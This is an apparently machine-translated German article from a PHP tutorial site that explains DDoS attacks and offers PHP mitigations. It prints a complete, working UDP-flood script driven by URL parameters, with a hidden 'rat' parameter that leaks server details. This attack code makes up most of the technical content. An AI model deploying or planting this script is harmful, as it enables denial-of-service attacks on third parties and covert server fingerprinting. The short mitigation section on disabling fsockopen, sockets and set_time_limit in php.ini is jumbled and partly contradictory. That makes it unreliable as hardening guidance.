Heim  >  Artikel  >  Backend-Entwicklung  >  PHP-Lösung für DDoS-Angriffe

PHP-Lösung für DDoS-Angriffe

怪我咯
怪我咯Original
2017-07-13 14:11:482095Durchsuche

Verstehen Sie zunächst DDoS: Distributed Denial of Service (DDoS: Distributed Denial of Service)-Angriff bezieht sich auf die Verwendung von Client/Server-Technologie, um mehrere Computer als Angriffsplattform zu vereinen, um DDoS gegen ein oder mehrere Ziele zu starten Die Schlagkraft von Denial-of-Service-Angriffen nimmt exponentiell zu. Normalerweise verwendet ein Angreifer ein gestohlenes Konto, um das DDoS-Masterprogramm auf einem Computer zu installieren. Zu einem festgelegten Zeitpunkt kommuniziert das Masterprogramm mit einer großen Anzahl von Agenten, die auf vielen Computern installiert sind. Der Agent startet den Angriff, wenn er dazu aufgefordert wird. Mithilfe der Client/Server-Technologie kann das Masterprogramm in Sekundenschnelle Hunderte oder Tausende von Agentenläufen aktivieren.

Lassen Sie uns eine Analogie verwenden, um im Detail zu verstehen, was DDOS ist.

Eine Gruppe von Tyrannen versucht, den normalen Betrieb des Konkurrenzgeschäfts zu verhindern. Welche Methoden werden sie anwenden? (Dies ist nur ein Beispiel, nicht nachahmen.) Tyrannen geben vor, normale Kunden zu sein und drängen sich in die Geschäfte ihrer Konkurrenten, aber echte Käufer können nicht hineingehen, oder sie unterhalten sich immer mit den Verkäufern, sodass das Personal nicht gehen kann Kunden normal bedienen; es kann den Ladenbetreibern auch falsche Informationen liefern. Nachdem alle im Laden beschäftigt sind, stellen sie fest, dass alles umsonst ist, und verlieren schließlich die wirklich großen Kunden, was zu schweren Verlusten führt. Darüber hinaus ist es für Mobber manchmal schwierig, diese schlechten Taten alleine zu begehen, und erfordert die Zusammenarbeit vieler Menschen. Nun, DoS- und DDoS-Angriffe im Bereich der Netzwerksicherheit folgen diesen Ideen.

Dieser Artikel stellt hauptsächlich die Lösung für DDoS-Angriffe in PHP vor. Er analysiert die Prinzipien und gezielten Lösungen von DDoS-Angriffsprogrammen. Es ist eine sehr praktische Fähigkeit

Sehen Sie sich zuerst den Quellcode an. Der Code lautet wie folgt:

<?php 
set_time_limit(999999); 
$host = $_GET[&#39;host&#39;]; 
$port = $_GET[&#39;port&#39;]; 
$exec_time = $_GET[&#39;time&#39;]; 
$Sendlen = 65535; 
$packets = 0; 
ignore_user_abort(True); 
 
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ 
        if (StrLen($_GET[&#39;rat&#39;])<>0){ 
                echo $_GET[&#39;rat&#39;].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER[&#39;SERVER_NAME&#39;])."|".php_uname()."|".$_SERVER[&#39;SERVER_SOFTWARE&#39;].$_GET[&#39;rat&#39;]; 
                exit; 
            } 
        echo "Parameters can not be empty!"; 
        exit; 
    } 
 
for($i=0;$i<$Sendlen;$i++){ 
        $out .= "A"; 
    } 
 
$max_time = time()+$exec_time; 
 
while(1){ 
    $packets++; 
    if(time() > $max_time){ 
        break; 
    } 
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 
        if($fp){ 
            fwrite($fp, $out); 
            fclose($fp); 
    } 
} 
 
echo "Send Host:$host:$port<br><br>"; 
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; 
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; 
?>
Der Schlüsselcode lautet wie folgt:

Die Methode ist Ganz einfach: Senden Sie ein UDP-Paket an den Zielhost. In Verbindung mit der Definition einer Endlosschleife
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
wird ein größerer Druck erzeugt.

Dieser Druck wirkt sich auf den Server aus, der dieses Skript ausführt , da es sich zunächst auf die eigene Netzwerkbreite und CPU auswirkt. Wenn Sie dieses Skript verwenden möchten, um Druck auf die Zielsite auszuüben, müssen Sie das Skript auf mehreren Servern ausführen Wenn Sie fsockopen verwenden, um externe Anfragen anzufordern, erlauben Sie ihm nicht, eine Anfrage zu stellen.

Setzen Sie

in php.ini Er kann das Paket weiterhin senden. Der Code lautet wie folgt:

wird geändert in

allow_url_fopen = Off

APACHE, IIS und NGINX neu starten, um das Senden von PHP-DDOS zu verhindern Pakete.

extension=php_sockets.dll
Außerdem sagten einige Internetnutzer, dass es sehr einfach sei, das Skript „Disallow“ auf „kein Timeout“ einzustellen:

1. Deaktivieren Sie die Funktion „set_time_limit“
;extension=php_sockets.dll

2. Aktivieren Sie den

abgesicherten Modus

(safe_mode=on).

Deaktivieren Sie die Socket-Funktion und Sie können das Socket-Modul direkt deaktivieren. Sie können auch die Funktion „fsockopen“ deaktivieren Da Socket häufig zum Senden von E-Mails zum Abrufen von Passwörtern verwendet wird, wird empfohlen, den abgesicherten Modus direkt zu aktivieren. In diesem Fall wird das Skript jedoch alle 30 Sekunden abgebrochen. Es wird geschätzt, dass kein „Hacker“ einsam ist genug, um dies alle 30 Sekunden zu tun. Klicken Sie, um DDOS zu starten.

Das obige ist der detaillierte Inhalt vonPHP-Lösung für DDoS-Angriffe. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn